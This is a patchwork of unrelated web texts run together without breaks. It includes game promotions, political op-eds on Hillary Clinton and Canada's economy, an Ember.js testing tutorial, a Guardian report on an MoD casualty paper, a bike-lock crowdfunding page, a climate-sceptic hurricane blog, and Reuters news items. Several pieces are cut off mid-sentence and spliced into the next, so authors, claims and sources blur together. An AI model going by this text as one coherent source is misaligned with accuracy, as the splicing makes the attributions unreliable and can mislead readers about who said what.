An all new tutorial and in-game guide to help new players ease into the game’s features and controls.
The Zen Edition of Absolute Drift will also be available on Steam as a free update to the original version.
“We’re thrilled to be working with Dune at Funselektor Labs on this project,” Aaron San Filippo of Flippfly said. “When we saw the game’s unique aesthetic, we fell in love with it, and we’re excited to help expand the game’s content and gameplay to make it even better.”
“FlippFly has brought their experience and know-how from Race the Sun to spearhead this new edition with some great features. I couldn’t be happier about this collaboration and I’m honored to be working with them!” said Dune Casu of Funselektor Labs.
Launch trailer, images, and more can be found for the PS4 version here:
Flippfly LLC is an indie game company in Wisconsin, USA, run by two brothers. Flippfly first launched Race The Sun in 2013, and develops games for PC, Mobile, and Consoles. Visit our website at Flippfly.com<, and contact us via [email protected](Chip Somodevilla/Getty Images)
Her brand of populism could spell doom for Hillary’s White House ambitions.
Paging Elizabeth Warren: This is your moment.
In 2007, Democrats were delirious with rage about the Iraq war. Hillary Clinton, the “inevitable” presidential front-runner, had voted for the war and refused to apologize for it. Other leading candidates, including Joe Biden, John Edwards, and Chris Dodd, voted for it too. This left a huge opening for a credible antiwar candidate. Barack Obama, inexperienced and underqualified, nonetheless jumped into the vacuum. The rest, as they say, is history.
Advertisement
Advertisement
Today, the issue that obsesses the base of the Democratic party is income inequality. I think that’s foolish. The underlying causes of inequality — miserable economic growth, stagnating wages, poverty, etc. — are vastly more worthy challenges. Though, in fairness, many people actually have those problems in mind when they talk about inequality.
There’s another component to the inequality obsession: populism. People increasingly feel that economic and political elites are enriching themselves, not by making great products or selling valuable services, but by cutting backroom deals and selling influence. This rage is remarkably bipartisan. It is the one theme that loosely unites tea partiers and Wall Street occupiers alike.
Obscure economics professor David Brat toppled House majority leader Eric Cantor in a Virginia primary largely by tapping into that populism, particularly on such issues as immigration and Wall Street bailouts.
Advertisement
Advertisement
Senator Warren owes her left-wing hero status to the Democratic version of this kind of populism. She’s been talking for years about how the well-connected “rig the system” for their own benefit. Now, I find many of Warren’s proposed solutions — more regulation, more taxes, more government, etc. — abhorrent. But, believe it or not, I am not a Democratic-primary voter. Those who are love what Warren is selling.
Which is why Warren is perfectly poised to be the Obama of 2016. And the role of Hillary Clinton will be played by Hillary Clinton.
Warren would be able to defuse Clinton’s greatest asset (her gender) and exploit Clinton’s greatest liability (her wealth and how she came by it) while in the process generating huge excitement from the status quo–weary grassroots.
Start with gender. The Clinton team is reviving the ludicrous claim that opposition to her candidacy is sexist. (They tried that line on Team Obama in 2008, but Team Obama came back with insinuations of racism.) What fun it would be to watch the Clintons try to spin support for Warren as sexist.
Advertisement
Then there’s Clinton’s wealth. Ever since claiming she was “dead broke” when she and her husband left the White House, Clinton has been desperately trying to remove her feet from her mouth.
Advertisement
In a recent interview with the Guardian, Clinton claimed that she’s on the right side of the inequality argument because of the way she earned her money. The American people “don’t see me as part of the problem,” she explained, “because we pay ordinary income tax, unlike a lot of people who are truly well off, not to name names; and we’ve done it through dint of hard work.”
Many think this was a shot at Mitt Romney, and if it was, it’s pretty pathetic. But even if Democrats think it’s a serious argument, Romney will not be running in the Democratic primary — unlike Clinton (presumably).
Advertisement
Clinton made her money by giving $200,000 speeches to corporate fat cats and trading on her connections. She may think that making millions for boring books and flying around in rented private jets to give really boring speeches is a fair wage for fair work. Heck, maybe it is! But she simply lacks the political talent to sell that interpretation.
Seen through today’s populist prism, Clinton’s record is a target-rich environment. For instance, in 1978, as a young associate at the Rose Law Firm and as wife of the attorney general and soon-to-be governor of Arkansas, Clinton sought the help of Tyson Food executive James Blair. Blair and Clinton’s shady commodities broker, Robert “Red” Bone (a former Tyson executive), managed to help Clinton turn a $1,000 investment into a $100,000 profit in an extremely dubious series of cattle-futures transactions. A paper for the Journal of Economics and Finance found that the odds she earned that return in a straightforward manner were 31 trillion to 1. No one has proven anything criminal, but most journalists and experts agreed that she had to have gotten “special treatment” (USA Today’s words).
Clinton’s “inevitability” is itself a kind of unearned special treatment during a time when special treatment for rich insiders ticks off everyone. Warren should say so.
Advertisement
— Jonah Goldberg is a fellow at the American Enterprise Institute and editor-at-large of National Review Online. You can write to him by e-mail [email protected], or via Twitter @JonahNRO. © 2014 Tribune Content Agency, LLCYou'll be able to get your it signed to whoever you want and a little T-Rex sketch added too! This will cost money but it will be worth it, I PROMISE. Just look for the little "I want this book signed" checkbox!
This is possible because I'm going down to New England for Webcomics on Ice on January 29th and there's going to be cartoonists and VIDEO GAMES. It's going to be great; you should come!
GUESS WHAT JUST CAME OUT: IT'S MY NEW BOOK!! If you've ever wondered what you'd do if you were stranded in the past, wonder no longer! With HOW TO INVENT EVERYTHING, you'll reinvent civilization from scratch, no matter what time period you're in. You'll become the single most influential, decisive, and important person ever born. You'll make history...
...better.
Here's the trailer!
One year ago today: on the plus side, luna 15 looks pretty much exactly how you'd imagine a space moon robot to look. it's got insect-like arms and even a giant eye on the top! i rate it: five stars out of a possible five.
– RyanANALYSIS/OPINION:
Unless the Winter Olympics are on television or someone is clubbing baby seals, Americans don’t pay much attention to what’s happening in Canada. It’s as if we live in a house with a set of quiet, orderly neighbors on one side and a bachelor pad with drunken parties, girls in the hot tub and occasional gunshot eruptions on the other. To whom would you pay more attention?
I dare say Americans could correctly name the president of Mexico (Filipe Calderon) over the prime minister of Canada (Stephen Harper) by a margin of 5-to-1. That’s too bad. While we have every reason to fear the disorder spilling over from our increasingly lawless neighbor to the south, our well-mannered Canadian neighbors have pulled their act together. We could learn a lot from them.
Look what’s not happening in Canada. There is no real estate crisis. There is no banking crisis. There is no unemployment crisis. There is no sovereign debt crisis. Recent reports suggest that consumers are loading up too much debt, but Canada shares that problem with nearly every other country in the industrialized world.
Among the Group of Seven nations, which also include the United States, France, Japan, Germany, the United Kingdom and Italy, Canada’s economic activity has come the closest to returning to the pre-recession peak. The country has recovered three-quarters of all jobs it lost. The International Monetary Fund estimates that Canada will be the only country among the G-7 to have achieved a balanced budget by 2015.
Now, instead of expanding Canada’s welfare state, the conservative government led by Mr. Harper is intent upon building the nation’s global competitiveness. Our friends in the Great White North cut their corporate tax rate to 16.5 percent on Jan. 1 and will see it drop to 15 percent next year. That compares to the current U.S. corporate tax rate of 35 percent. That will give Canada the lowest corporate tax rate among the G-7 nations and an eye-popping advantage for businesses wondering whether to locate on the U.S. or Canadian side of the border.
The last time Canadians really caught Americans’ eyes was when prime ministers such as Jean Chretien and Paul Martin, both leaders of the Liberal Party, were proving uncooperative in the realm of foreign policy. American media played up disagreements over the invasion of Iraq and Canadian participation in the American National Missile Defense Program, which made President George W. Bush look bad and confirmed the narrative that his cowboy foreign policy had alienated old friends around the world. By contrast, when Canadian soldiers under the conservative government became active combatants in Afghan-istan, the American media showed little interest.
But that’s nothing new. Except to note how well or how poorly Canada’s national health care system was working, Americans have paid little heed to news coming out of Ottawa. The titanic effort of both Canada’s liberal and conservative parties in the 1990s and 2000s to rein in government spending largely escaped our notice. Nor did it ever occur to anyone to wonder why, with our economies so closely entwined, U.S. housing prices were busting through the roof while Canadian houses remained so sensible.
It turns out that Ottawa’s housing policies and banking regulations tempered the boom in real estate prices. No tax deductions for mortgage interest payments. And get this: Buyers actually had to make down payments on their houses. Because there was no real estate bust, there was no banking crisis. (Indeed, healthy Canadian banks are snapping up U.S. financial assets.) Despite the lack of public policies geared toward stimulating homeownership, Canadian homeownership was 68.4 percent in 2008. That would be a higher number than in the United States, which was 67.4 percent in 2009.
Lesson to Americans: If you want affordable housing, stop promoting policies to make it more “affordable.”
Meanwhile, Canada has many of the same assets that Americans like to brag about, such as an immigrant tradition that invites foreigners to live and work in the country. On a per-capita basis, the rate of legal immigration to Canada is comparable to that to the U.S. Settling in world-class, creative cities like Toronto and Vancouver, foreigners add immeasurably to the nation’s wealth-creating capacity.
Talented Canadians have long regarded the United States as the land of opportunity. It may not be long before Americans see our northern neighbor as the land of the future.
James A. Bacon is author of the book “Boomergeddon” (Oaklea Press, 2010) and publisher of the blog by the same name.
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.About This Game The ancients who named this sector ‘Polaris’ sure had a unique sense of humor. Polaris - the bright star, the star of hope and faith. Well the Polaris sector has precious little of either; just a wilderness of gas, stars, and supernovas soaked in treachery, oppression, and the lust for power.
Can anyone build an empire in a place like this? Other factions are naturally suspicious of newcomers and may wage war at the first sign of unidentified craft. Here, a natural death is an uncommon luxury. You look weak? Pirates and scavengers will plunder your planets. You show military strength to discourage potential enemies? Your rivals will combine their forces to eliminate the threat.
Total domination requires many diverse stratagems. Shaking the hand of a powerful emperor, designing new warships in secret, investing everything in fundamental sciences to gain technology before your competitors - all may be the road to success. But will you have the time to implement your strategy? Will you be visionary enough to build weapons and technologies that will make the difference in battles fought decades from now? Find the right balance between fundamental and applied sciences to stay ahead of the opposition. Find the right balance between classic designs and crazy prototypes and your ships will be feared across the galaxy. Your engineers and scientists provide you a high level of flexibility, but it’s your decisions that will shape the empire’s fate.
Many a mercenary or adventurer has come here seeking wealth and power, and all their stories are now just whispers in the void. Polaris is a black hole for living species, and empires rise and fall in the blink of an eye. Maybe the leader that will bring stability to this zone hasn’t been born yet, if they will ever exist…
And on the pedestal these words appear:
'My name is Ozymandias, king of kings:
Look on my works, ye Mighty, and despair!'
Nothing beside remains. Round the decay
Of that colossal wreck, boundless and bare
The lone and level sands stretch far away.
- Shelley
FeaturesAn epic and dangerous playground: randomly generate a galaxy able to host up to 900 stars.
Full customization: external threats, pirates, number of races… you can set up the world that fits your own tastes!
Full control over ship design: want to make a corvette into a drone carrier? Go ahead. Want to make a freighter into a scout? No problem. Your creativity is the only limit!
Explore: send scout vessels to find new mines to exploit, new planets to colonize, and to establish contact with other empires.
Innovative research system: technologies and equipment will get unlocked depending on your investments in fundamental and applied research.
Diplomacy: Dialogue with other factions to gain their favor, trade goods, and make military agreements to fight common enemies.
Command your troops: when a battle starts you can join the battlefield and maneuver your ships in a tactical mode. Alternatively use the auto-resolve mode when you have more urgent tasks to attend to in your empire.
Unique espionage system: seed false intelligence to enemy spies and lure them into a trap!Imagine you have the following component:
{{student-grades-donut grades=grades}}
where grades looks like:
[ 'A', 'A', 'C', 'A', 'B', 'D', 'B', 'B' ]
and the template looks like:
<!-- app/templates/components/student-grades-donut.hbs --> {{donut-chart data=gradeData}}
The student-grades-donut component is a light wrapper around the donut-chart component to handle the specifics of manipulating a student’s grades into the format donut-chart expects. That is, gradeData is computed from grades into a format like:
{ columns : [ [ 'A', 3 ], [ 'B', 3 ], [ 'C', 1 ], [ 'D', 1 ], [ 'F', 0 ] ] }
This is pretty straightforward to implement, but how do you test the student-grades-donut component?
A Few Approaches
One approach is to write assertions against the generated SVG from donut-cart. I don’t like this approach for a couple reasons. First, writing assertions against the SVG doesn’t really verify that the donut-chart rendered correctly. A visual check would be more helpful. Second, if the resulting DOM from donut-chart changes, then our test could break, especially if donut-chart is a third-party component or a wrapper around a library like C3.js or D3.js. Another approach is to write a unit test for the student-grades-donut component verifying that the computed property gradeData is in the correct format. Component tests are integration tests by default in Ember CLI, but you can also generate a unit test for a component with: ember g component-test student-grades-donut --unit. I also don’t like this approach because the gradeData computed property would be exposed in the test and treated like a public property. When I think of a component’s public API, I think of the attributes passed to the component like grades or anything that the component yield s, and gradeData is neither one of those. If the implementation of how this grade data is formatted changes and the property name changes, the test will also have to update. Not a big deal, but still not ideal. A third option is not to test this component and chalk it up to one of those areas in an app that isn’t tested. 😛
Solution
What would make me feel confident that this feature works correctly is to test that the grade data is formatted correctly and passed into the donut-chart component, and ideally not have to reference the gradeData computed property explicitly in our test since it is more like a private property. This approach could treat donut-chart like a spy and record the arguments (component attributes) that it was called with. It turns out we can easily do this without a test double library like Sinon.js, thanks to Ember’s container.
// tests/integration/student-grades-donut-test.js import { moduleForComponent, test } from 'ember-qunit' ; import hbs from 'htmlbars-inline-precompile' ; import Ember from 'ember' ; moduleForComponent ('student-grades-donut', 'Integration | Component | student grades donut', { integration : true }); test ( 'the donut-chart is invoked with the grade data properly formatted', function ( assert ) { this. register ( 'component:donut-chart', Ember. Component. extend ({ didReceiveAttrs () { assert. deepEqual ( this. get ( 'data' ), { columns : [ [ 'A', 3 ], [ 'B', 3 ], [ 'C', 1 ], [ 'D', 1 ], [ 'F', 0 ] ] }); } })); this. set ( 'grades', [ 'A', 'A', 'C', 'A', 'B', 'D', 'B', 'B' ]); this. render ( hbs `{{student-grades-donut grades=grades}}` ); });
Components are resolved out of Ember’s container. In integration tests, we can register things with the container via this.register(). You may have used this before to stub out a service that gets injected into a component. Instead of registering a stub service, we can register a stub component. When the student-grades-donut component is rendered, the donut-chart component will get invoked from the template, and our stubbed Ember.Component class for donut-chart will get resolved out of the container and instantiated. The didReceiveAttrs() hook will get called, at which point we can assert against the data attribute for donut-chart. With this approach, we can check the value of gradeData and verify that it was passed into donut-chart under the data attribute without ever having to explicitly reference the gradeData computed property! Our test now only relies on public API.
Conclusion
In integration tests, not only can we stub services, but we can also stub components. I’ve found this technique useful when a component processes some data and passes that data along to a more generic/reusable component that might be harder to test, like a chart or a map.
Full example code here
Disclaimer: Any viewpoints and opinions expressed in this article are those of David Tang and do not reflect those of my employer or any of my colleagues.The armed forces should seek to make British involvement in future wars more palatable to the public by reducing the public profile of repatriation ceremonies for casualties, according to a Ministry of Defence unit that formulates strategy.
Other suggestions made by the MoD thinktank in a discussion paper examining how to assuage "casualty averse" public opinion include the greater use of mercenaries and unmanned vehicles, as well as the SAS and other special forces, because it says losses sustained by the elite soldiers do not have the same impact on the public and press.
The document, written in November 2012 and obtained by the Guardian under the Freedom of Information Act, discusses how public reaction to casualties can be influenced and recommends that the armed forces should have "a clear and constant information campaign in order to influence the major areas of press and public opinion".
It says that to support such a campaign the MoD should consider a number of steps, one of which would be to "reduce the profile of the repatriation ceremonies" – an apparent reference to the processions of hearses carrying coffins draped in the union flag that were driven through towns near RAF bases where bodies were brought back.
For four years up to 2011, 345 servicemen killed in action were brought back to RAF Lyneham and driven through Royal Wootton Bassett, in Wiltshire, in front of crowds of mourners. Since then, bodies have been repatriated via RAF Brize Norton, in Oxfordshire, with hearses driven through nearby Carterton.
The MoD's suggestion received a scathing reaction from some families of dead military personnel. Deborah Allbutt, whose husband Stephen was killed in a friendly fire incident in Iraq in 2003, described the proposals for repatriation ceremonies as "brushing the deaths under the carpet".
She said: "They are fighting and giving their lives. Why should they be hidden away? It would be absolutely disgraceful." Allbutt, with others, gained a landmark ruling this year that relatives of killed or injured soldiers can seek damages under human rights legislation.
The paper, by the MoD's development, concepts and doctrine centre (DCDC), recommends taking steps to "reduce public sensitivity to the penalties inherent in military operations" and says the ministry should "inculcate an attitude that service may involve sacrifice and that such risks are knowingly and willingly undertaken as a matter of professional judgment".
The paper amounts to what could be considered a prescient analysis of why the British public and MPs were so reluctant to support an attack on Syria. It also says that in any conflict the MoD should ensure that the reason for going to war is "clearly explained to the public".
The eight-page paper argues that the military may have come to wrongly believe that the public, and as a result the government, has become more "risk averse" on the basis of recent campaigns in Afghanistan and Iraq.
"However, this assertion is based on recent, post-2000 experience and we are in danger of learning false lessons concerning the public's attitude to military operations," the paper, which has no named author, adds.
"Historically, once the public are convinced that they have a stake in the conflict they are prepared to endorse military risks and will accept casualties as the necessary consequence of the use of military force."
To back this up, it cites "robust" public support for earlier conflicts – the Falklands war and operations in Northern Ireland between 1969 and 2007. "In those cases where the public is unconvinced of the relevance of the campaign to their wellbeing they are not prepared to condone military risk and are acutely sensitive to the level of casualties incurred.
"Neither the action in Iraq nor the operations in Afghanistan have enjoyed public support and we are in danger of learning a false lesson from the experience of the last 10 years."
The report adds: "The public have become better informed and our opponents more sophisticated in the exploitation of the sources of information with the net result that convincing the nation of the need to run military risks has become more difficult but no less essential."
Among other suggestions that could contend with worries about casualty numbers, the DCDC recommends a major investment in "autonomous systems for unmanned vehicles", cyber-operations and the increased use of mercenaries, referred to as "contractors".
Noting that the growth of private security companies has proceeded at a spectacular rate during the past 10 years, it adds: "Neither the media nor the public in the west appear to identify with contractors in the way that they do with their military personnel. Thus casualties from within the contractorised force are more acceptable in pursuit of military ends than those from among our own forces."
Investing in greater numbers of special forces is also recommended. The paper suggests: "The public appear to have a more robust attitude to SF [special forces] losses." In a reference to a May 1982 helicopter crash, it says: "The loss of 19 SAS soldiers in a single aircraft accident during the Falklands campaign did not arouse any significant comment."
An MoD spokesman said: "It is entirely right that we publicly honour those who have made the ultimate sacrifice and there are no plans to change the way in which repatriation ceremonies are conducted. A key purpose of the development, concepts and doctrine centre is to produce research which tests and challenges established doctrine and its papers are designed to stimulate internal debate, not outline government policy or positions. To represent this paper as policy or a potential shift of policy is misleading."
Joe Glenton, an anti-war activist and former soldier who spent five months in a military prison after refusing to serve a second tour in Afghanistan, said that lowering the profile of repatriations amounted to "hiding the bodies".
It had also, effectively, already been underway from several years ago.
"We should recall they switched the route of repatriations from the very high profile Wootton Bassett and started again bringing bodies through RAF Brize Norton. In short, hiding the bodies," he said.
"The public rightly is averse to young soldiers being maimed or wounded, and averse to dusty foreign adventures."
Christopher Dandeker, a professor of military sociology at King's College London, said that the issues raised in the paper were timely as the public had recently shown that they were unconvinced by what political elites wanted to do in relation to the use of force in Syria. It also made sense that the military would pay greater attention to the role of military families, who were becoming "a more politically active, questioning independent stakeholder in the military community".Connect with us: Website Facebook Twitter
TechCrunch: “BitLock’s system means you can tap into the sharing economy by sharing access to your bike with others”
Mashable: “Keyless entry used to unlock your front doors, car doors, and now it’s ready to unlock your bike.“
CNET: “Toss your bike key with BitLock Bluetooth lock”
Engadget: “BitLock offers a bring-your-own-bicycle approach to bike sharing”
FastCompany:” With Bitlock, it's now easier to share or rent your bike to anyone, and you'll never lose your keys again.”
GigaOM: “Could Bitlock crack peer-to-peer bike sharing?”
The Atlantic Cities: “Start Your Own Bike-Share With This Keyless Bike Lock”
More:
Rewards:
Why the frame pad?
The frame pad can protect your bike from scratches while adding to the rad-ness of your ride. If you are sharing bikes with others, the frame pad will make your bike stand out in the crowd and will give it a more distinctive and identifiable look. So this way you can easily eyeball the shared bikes that use BitLock from a distance.
How BitLock works:
Video Demo 1:
BitLock Demo 2:
Lock exploded view 2:
components:
Specifications:
Battery: Lithium-thionyl chloride 2.4Ah non-rechargeable
Battery life: 10,000 lock/unlocks (5 years with average usage)
Battery shelf life: 20 years
Product dimensions: 4” x 8” (10.2cm x 20.3cm)
Product weight: 2.40 lbs (1.09 kgs)
Shackle thickness: 12mm (0.47 Inch)
Material: Heat-treated and cut-resistant steel
High security disc-style cylinder
Protective vinyl covering
Lithium thionyl chloride (Li-SOCl 2) battery is the best candidate for low power remote monitoring and sensing applications, such as environmental and oceanographic measurement, animal tracking, emergency locators, RFID devices, etc where the cost of battery replacement becomes prohibitive and a self-contained power supply is required. Lithium thionyl chloride batteries feature the highest energy density of all lithium chemistries (1,420 Wh/l compared to ~500Wh/L for the rechargeable lithium battery in your smartphone), high capacity, and the ability to withstand extreme temperatures (-55°C to +125°C). The battery used in BitLock holds 2.4Ah of energy in a standard AA form factor. It also offer 20+ year service life due to extremely low self-discharge (less than 1% per year compared to 3% per month for rechargeable lithium batteries) and are designed with a unique safety feature that protects the cell against extreme temperature, pressure, puncture, shock and vibration. With the current design, BitLock can perform more than 10,000 lock/unlock operations on a single battery. This is enough to provide a 5-year battery life under average usage. No charging is needed. Once the battery level is low, the user gets a notification on their smart phone to replace the battery.
BitLock Evolution: from idea to reality
Most of the hardware design process was centered around finding an efficient, compact, and secure locking mechanism. Using a solenoid was out of question. Solenoids are very power hungry and inefficient. The actuation system had be driven by a low power DC motor.
Linear actuation is messy. Worm gears (in fact all gears) must be enclosed inside a dust proof box enclosure to ensure reliability. Making custom gearing system would increase the cost and complicate the project.
One of the first prototypes
This was a starting point. The design had a lot of flaws. The load on the motor had to be minimal to save power. In this design the motor was doing a lot of unnecessary work (rotating the batteries too!).Also, the locking mechanism was not secure enough. More research and rigorous prototyping had to be done to get to the perfect lock.
Brainstorming and research
After doing a lot of research, I eventual found it! Disc locking was the best choice. It was simple and it provided high level of security. Putting the ideas together...
Things beginning to shape up
Now it was time to find the best DC motor. To find the perfect candidate, I had to search for a motor that yields the best performance, cost, and power characteristics.
When I started this project, bluetooth low energy (BLE) was only in iPhone |
Center. Excerpt from his conclusions.
“Hurricanes (and Tropical Storms) have been associated for millenniums with extreme rainfall and freshwater flooding. There is nothing that one can do to prevent these storms from occurring, hitting land, and impacting people.
“Massive flooding and catastrophic impact from tropical storms and hurricanes occurs when the system moves slowly over a major city. This is precisely what happened because of Harvey as a tropical storm over Texas. …
“Linking hurricane rainfall to global warming today (and even decades from now) based upon such a tiny contribution is misleading. Moreover, such a fixation can delay steps that can be taken now to better mitigate the effects of extreme flooding from hurricanes.”
(3) See the trends for yourself in hurricane energy and frequency
Graphs from Ryan Maue (click to enlarge). He also notes that the “Southern Hemisphere 2016-17 tropical cyclone season was weakest/quietest in 50-years since reliable records (sort of) exist.” His dataset has 4,137 named global Tropical Storms since January 1970. Of those, 2242 has a period of hurricane level force (54%).
Global frequency of tropical cyclones.
Global accumulated cyclone energy (ACE) of tropical cyclones.
(4) About those wildfires!
The National Interagency Fire Center shows year-to-date statistics for wildfires in the US. This year ranks third in the past eleven years. The total acres burned per year have been in a flat range since 1999 (details here).
In the 20th century forests were managed by Smokey the Bear — “only you can prevent forest fires” — in the mistaken belief that forest fires must be prevented. This made the western US forests into tinderboxes. The Left blames the resulting massive fires on climate change. Too see why that is not correct, read “Human Activity, more so than Climate Change, Affects the Number and Size of Wildfires” — Testimony of David B. South (Professor Emeritus of Forestry, Auburn U) before the Senate Subcommittee on Green Jobs and the New Economy, 3 June 2014. It has a wealth of information and useful graphs.
The global news about wildfires looks better than America’s, more good news that journalists don’t report. See “Global trends in wildfire and its impacts: perceptions versus realities in a changing world” by Stefan H. Doerr and Cristina Santín in Philosophical Transactions B, 23 May 2016. Excerpt from the abstract…
“{G}lobal area burned appears to have overall declined over past decades, and there is increasing evidence that there is less fire in the global landscape today than centuries ago. Regarding fire severity, limited data are available. For the western USA, they indicate little change overall, and also that area burned at high severity has overall declined compared to pre-European settlement.”
(5) Results from the propaganda campaign
Much of the propaganda about Harvey and Irma has been directed at Trump. How has his job approval levels changed — an instant measure of their success? Harvey made landfall in Texas on August 26. Trump’s job approval numbers began to improve on September 1 and have remained flattish since September 3 (graph as of Sept 15). Lots of firepower expended on Trump to no visible effect.
(6) A better lesson from these hurricanes (bitter if we wait too long)
“We don’t even plan for the past.”
— Steven Mosher (of Berkeley Earth), a comment posted at Climate Etc.
The debate about the best US public policy response to climate change has run for three decades, with Left and Right relying on misinformation and exaggeration to influence the public. We should be able to agree on the need to prepare for the inevitable repeat of past weather — like category 3, 4, and 5 hurricanes hitting the east coast.
It is pitiful that a rich nation like America has hysterics from events so commonplace as a cat 3 hurricanes. We should be prepared for the on average six major hurricane landfalls per decade (see the average return period for each section of the East Coast.
Eventually a cat 5 will hit the center of a major city. Then perhaps we will take some simple steps to build a more resilient America.
(7) For More Information
To learn more about the matters discussed here.
If you liked this post, like us on Facebook and follow us on Twitter. For more information see all posts about the IPCC, see the keys to understanding climate change and these posts about the politics of climate change…ISTANBUL (Reuters) - Turkish President Tayyip Erdogan and the pro-Kurdish opposition traded blame on Friday over the fate of more than 20 people it says have been trapped for a week in a cellar in a southeastern town as fighting rages between security forces and Kurdish militants.
Turkish police stand guard one of the entrance of Sur district, which is partially under curfew, in the Kurdish-dominated southeastern city of Diyarbakir, Turkey January 29, 2016. REUTERS/Sertac Kayar
Six of 28 people trapped in the basement of a residential building, under 24-hour curfew, in the town of Cizre have died over the past week and others are seriously wounded, according to the pro-Kurdish Peoples’ Democratic Party (HDP).
Three members of the HDP, the third biggest party in Turkey’s parliament, have gone on hunger strike in protest at a failure to rescue the group, whose fate has become a focal point in the region’s worst violence in decades.
“If there had been a sincere effort (to get them out) we would not be talking about six dead people today,” HDP deputy Idris Baluken told a news conference in Ankara with two colleagues, all on hunger strike since Wednesday.
“We are talking about the problems of our citizens who for seven days cannot find food, water or drugs, who have died due to blood loss because of the lack of intervention.”
The fighting, moving into towns scarred by trenches and barricades, coincides with threats from Islamic State militants over the border in Iraq and Syria. NATO allies eager to see restoration of calm in a volatile area have called for a ceasefire and talks to end the conflict.
Thousands of civilians have been caught up in the fighting between the Kurdistan Workers Party (PKK) and security forces that flared after a two-year-old ceasefire collapsed in July.
Baluken said ambulances belonging to the HDP-run municipality in Cizre, near the Syrian border, had tried to reach the group trapped in the cellar on 11 occasions but had been blocked at security force checkpoints.
The building appears to stand on a streetcorner and may lie in the crossfire between military and rebels. Journalists are excluded from the area.
“ALL LIES”
Erdogan rejected the notion that ambulances were being obstructed by the state, blaming the militants and accusing those on hunger strike of being servants of the PKK.
“This is all lies. There are always ambulances there,” he told reporters in Istanbul. “They are deliberately not bringing the wounded out,” he added.
Turkey, the United States and the European Union all classify the PKK as a terrorist organization. The PKK says it is fighting for autonomy for Turkey’s Kurdish minority.
The Turkish army says more than 600 militants have been killed since security operations began in Cizre last month, and denies accusations it has killed large numbers of civilians.
The fighting has caused extensive damage not just in Cizre but also the town of Silopi, near the Iraqi border, and the ancient Sur district of the main city Diyarbakir, enclosed by Roman-era walls which were added to the UNESCO World Heritage list last year. All have been under curfew since December.
Slideshow (2 Images)
The former mayor of Sur said years of progress toward peace in the region were being undone.
“Decades of military policies against the Kurds have shown only that violence begets more violence,” Abdullah Demirbas wrote in an op-ed in the New York Times this week.
He likened the scene to neighboring Syria, describing towns “under siege”, bodies lying in the street for days and buildings collapsing due to shelling.(Reuters) - A rare pygmy hippopotamus born last week at the San Diego Zoo, the first calf born at the California facility in over a decade, has died, staff said on Friday.
The calf was born in seemingly good health at the zoo in southern California on Nov. 11, officials said in a statement, but a veterinary exam later found the newborn was not receiving proper nourishment, despite care from its mother.
“Sad to announce the death of our pygmy hippo calf,” an official with the San Diego Zoo wrote on Twitter.
It was the first surviving pygmy hippo birth at the San Diego Zoo in more than a decade, it said. The zoo has not said whether the calf was male or female.
The pygmy hippopotamus, from the forests of West Africa, is listed on a list of threatened species maintained by the International Union for Conservation of Nature.
There were roughly 2,000 left in the world a decade ago, the most recent population survey showed, the zoo said. Habitat destruction and wildlife trafficking in recent years has likely played a role in reducing the population, it said.
The pygmy is less aquatic and smaller than its non-pygmy hippo relatives, having a rounder and narrower head and a median life expectancy of 27 years, the zoo said. It can weigh as much as 600 pounds, it said.
In Australia, a pygmy hippopotamus calf was unveiled in June at Melbourne Zoo, the first to be born there since 1981.In a speech earlier today, Australia's Attorney-General George Brandis signaled a looming government crackdown on Internet piracy. In addition to a "three strikes" graduated response mechanism targeting Internet subscribers, Brandis indicated that ISPs could be forced to block websites that allow users to download or stream content without permission.
Like all countries under United States entertainment industry influence, for years Australia has struggled with the thorny issue of online piracy. The U.S. has pressured its trading partner for some time, through lobbying efforts and legal action initiated by outfits such as AFACT.
It’s fairly ironic then, that in the early moments of his speech to the Australian Digital Alliance forum in Canberra this morning, Attorney-General George Brandis cited the piracy difficulties encountered by Charles Dickens.
“One of Charles Dickens’s reasons for travelling to the United States …in 1842, was to advocate for copyright law reform. Dickens was acutely aware of how much money he was losing because his works were being pirated, at the time legally, under American copyright law which permitted publishers to reprint British books at will,” Brandis said, underlining his point that creators should be paid for their work.
Of course, times have changed, and in the 21st century the United States is now keen for all other countries to adopt a specific set of copyright-protecting legal mechanisms, even though it has yet to formally bake any of them into its own legal system. This morning Brandis gave clearest indication yet of what Australians have to look forward to.
“I believe in strong protections and enforcement mechanisms in support of Australia’s creative industries, but, as I indicated, I am also keen, as one of the achievements in the first – term of the Abbott Government, to modernize, reform and contemporize the Copyright Act,” Brandis said.
First up, Section 101 of the Act, which states that an entity which authorizes the copyright infringing activities of others can be held liable for those infringements. The famous Hollywood vs iiNet case, in which the studios tried and failed to hold the ISP liable for the infringements of its subscribers, showed that the law couldn’t be stretched as far as the studios would’ve liked. According to Brandis though, things will change.
“The government will be considering possible mechanisms to provide a ‘legal incentive’ for an Internet service provider to cooperate with copyright owners in preventing infringement on their systems and networks,” he said.
“This may include looking carefully at the merits of a scheme whereby ISPs are required to issue graduated warnings to consumers who are using websites to facilitate piracy.”
While Hollywood successfully implemented its “six strikes” system in the United States, none of that was forced upon ISPs by law. And here’s another US ideal (that hasn’t been implemented locally) that the Aussies appear keen to take on board – site blocking.
“Another option that some stakeholders have raised with me is to provide the Federal Court with explicit powers to provide for third party injunctions against ISPs, which will ultimately require ISPs to ‘take down’ websites hosting infringing content,” Brandis said.
But while the Attorney General referred to legal options for three strikes, disconnections and website blocking, he noted that his preference “would be to facilitate industry self-regulation, as opposed to active and continuing government regulation.”
That, however, hasn’t worked to date, with discussions between Hollywood and the ISPs failing to reach any workable agreement, with the former wanting the reluctant latter to pick up the bill for enforcement.
While it remains to be seen whether change is arrived at through voluntary agreement or legislation, the Australian government keen to deal with the online piracy issue once and for all, despite the effectiveness of three strikes and site blocking regimes being continually called into doubt.A convicted terrorist has claimed that Saudi Arabian officials supported al-Qaeda financially in the years leading up to 9/11 and discussed shooting down Air Force One during Bill Clinton's presidency.
Zacarias Moussaoui made the claims, which Saudi officials deny, in a statement submitted from a maximum security prison in the US where he is serving a life sentence for conspiring in the 2001 attacks that killed nearly 3,000 people.
His testimony – which was not subject to cross examination – was part of a lawsuit by relatives of the victims against Saudi Arabia, he claimed prominent members of the Saudi royal family donated significant amounts to al-Qaeda in the late 1990s, the New York Times reported.
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
Moussaoui, who attended London's South Bank University, also claimed that he discussed shooting down the US President’s plane with a Stinger missile with a member of staff from the Saudi Embassy in Washington.
In a statement refuting his latest allegations, a spokesperson at the embassy said there was “no evidence“ to support Moussaoui’s claim.
